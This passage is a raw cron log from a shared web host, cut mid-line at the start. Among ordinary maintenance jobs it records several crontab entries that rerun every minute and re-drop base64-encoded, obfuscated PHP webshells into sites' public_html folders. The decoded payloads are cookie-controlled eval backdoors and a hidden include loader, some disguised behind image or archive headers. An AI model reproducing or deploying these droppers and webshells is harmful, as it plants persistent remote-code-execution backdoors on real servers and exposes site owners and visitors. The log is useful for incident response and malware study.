X3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:55:02 medusa CROND[835]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:55:02 medusa CROND[837]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 08:55:02 medusa CROND[847]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 08:55:02 medusa CROND[850]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:55:02 medusa CROND[851]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:55:02 medusa CROND[852]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:55:02 medusa CROND[853]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:55:02 medusa CROND[854]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 08:55:02 medusa CROND[855]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 08:55:02 medusa CROND[856]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:55:02 medusa CROND[848]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:55:02 medusa CROND[857]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 08:55:02 medusa CROND[864]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 08:55:02 medusa CROND[863]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 08:55:02 medusa CROND[860]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:56:01 medusa CROND[24721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:56:01 medusa CROND[24722]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:56:01 medusa CROND[24723]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:56:01 medusa CROND[24724]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:56:01 medusa CROND[24725]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:56:01 medusa CROND[24726]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:56:01 medusa CROND[24730]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:56:01 medusa CROND[24732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:56:01 medusa CROND[24733]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 08:56:01 medusa CROND[24731]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 08:56:01 medusa CROND[24734]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:56:01 medusa CROND[24735]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:56:01 medusa CROND[24736]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:56:01 medusa CROND[24737]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:57:01 medusa CROND[16619]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:57:02 medusa CROND[16753]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 08:57:02 medusa CROND[16758]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:57:02 medusa CROND[16759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:57:02 medusa CROND[16760]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:57:02 medusa CROND[16761]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:57:02 medusa CROND[16762]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:57:02 medusa CROND[16763]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:57:02 medusa CROND[16766]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
